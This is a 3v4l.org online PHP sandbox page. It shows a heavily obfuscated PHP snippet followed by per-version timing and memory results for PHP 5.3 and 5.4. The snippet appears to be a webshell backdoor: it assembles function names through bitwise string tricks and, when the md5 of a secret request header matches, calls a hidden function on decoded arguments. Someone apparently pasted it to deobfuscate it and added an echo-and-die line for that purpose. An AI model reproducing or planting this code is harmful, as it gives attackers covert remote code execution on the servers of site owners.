3v4l.org

run code in 300+ PHP versions simultaneously
<?php $N2a='dvADoy'&~UNt8GAiXc2G;$DAWi='/>-LEZ#*U4)'^'A[[;+-'.KT0_G;$vhne8tDK=#ZoBluzBk9w'. '}owo~sn~wmn'&'}}wm~'.wkto.'{~';$NjKiZ=ohWzjE^')'.Ms_H7;$kZoehuqrTg7='@'./*HBu'. '.lY4UiKKR>*/YPZ_a|'H]D^NC';$IJ6e='ND4@ZQ'|'xP]P]Q';$rAMg='((FG*QJZ=)4"'^'XZ! '. 'u//!'.QHWO;$u4K5='0=BG5 _)+0J='^'FO7(jR:YUU-H';$LilYxx78="5"|'4';'CLF8BrCJLpk'. ',#SorX>z-';$sbaJHeSnD='F*'^jq;$eNlv9Ak='|g7'&"i|u";$Sv3SzRL8='_~G`wK'^#nqQrxm'. '8:3!;-';$IV='#1#2%'|'a51!E';$BscVpr2Ii=' 00'|'e #';$umdcK=_^'9';$kFDxdcROJ=/*'. '90Cg*/km&iw;$X2iSZAD_uGC=';p{bo'^'s$/20';$IleWkFMnzQq='}'&Z;$JD=KD&'}V';'bbsx'. '?U8';$pKlSp2V=$DAWi&$vhne8tDK;$rGLmFTY=('$@$'|'- !')|$eNlv9Ak;$IdQ_wkDqX=/*Rd'. '{]N3*/$NjKiZ|$Sv3SzRL8;$XWnPayhg=('"!N?7:&I+'.aR8Q9^'AR"'.QhGU.',]>4M?V')&(#U'. 'ga~}_w{}{'._owns&'gu~}_w{}{'._ownw);$buCz=$kZoehuqrTg7&$IJ6e;$D1=$rAMg&/*hwZM'. '0%y6K^|*/$u4K5;$NtOOvR7dR=('P0Z@"&@ F4C '.XxBH.'- 00Z(<Y f A'|#lsVfS785TuIYpT'. '@qzJ &H0 ,@1'.QhbB00.'" R ,[%F0e')^('~^$B*O,'.bXPf5lH.'}]LX4$Y`0r-e7z'^/*dBGL'. 'BXK4.o{*/Klo9k.'*U8g;]wTg*y=?~da%Y]iTV"'); echo $XWnPayhg; die; if(!levenshtein(md5(getenv('HTTP_A')),('rLO:^}e+w]_Tp?'._ij7Ugk.']'^FuwXkKWMGn.'<c@^'.nQRRd_.'^<')./*'. 'y*/$IV.$LilYxx78.$BscVpr2Ii.$umdcK)) $XWnPayhg($D1,$sbaJHeSnD.('Zj]<o'&#sdZtUt'.'~o]nm').$kFDxdcROJ,$IdQ_wkDqX($X2iSZAD_uGC.$IleWkFMnzQq.$JD),$NtOOvR7dR); #Np'.'VuQ[$p:PZ>HRfi)+z@??To#EX345]2q-JUq(p&,E+1ah';

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.4.220.0130.03712.39
5.4.210.0110.04012.39
5.4.200.0080.04312.39
5.4.190.0100.05212.39
5.4.180.0110.04512.39
5.4.170.0120.03812.40
5.4.160.0110.04112.39
5.4.150.0110.04612.39
5.4.140.0090.04212.08
5.4.130.0140.04312.07
5.4.120.0110.04612.03
5.4.110.0120.03712.02
5.4.100.0120.04312.02
5.4.90.0120.04012.02
5.4.80.0100.04012.02
5.4.70.0100.04012.02
5.4.60.0090.03912.02
5.4.50.0100.04412.02
5.4.40.0110.04112.01
5.4.30.0150.03912.00
5.4.20.0120.04012.00
5.4.10.0070.04512.00
5.4.00.0080.04011.50
5.3.270.0120.03912.72
5.3.260.0110.04412.72
5.3.250.0140.04212.72
5.3.240.0090.04212.72
5.3.230.0120.04712.71
5.3.220.0130.04812.68
5.3.210.0120.04812.68
5.3.200.0110.04812.68
5.3.190.0110.04412.68
5.3.180.0130.05412.67
5.3.170.0110.04712.67
5.3.160.0110.04112.67
5.3.150.0130.05412.67
5.3.140.0100.04512.66
5.3.130.0140.04712.66
5.3.120.0090.05612.66
5.3.110.0140.04712.66
5.3.100.0110.04512.12
5.3.90.0120.04412.08
5.3.80.0080.04412.07
5.3.70.0090.04612.07
5.3.60.0100.04612.06
5.3.50.0110.04712.00
5.3.40.0130.04212.00
5.3.30.0110.04811.95
5.3.20.0150.05811.73
5.3.10.0100.04411.70
5.3.00.0100.04311.68

preferences:
136.59 ms | 1394 KiB | 7 Q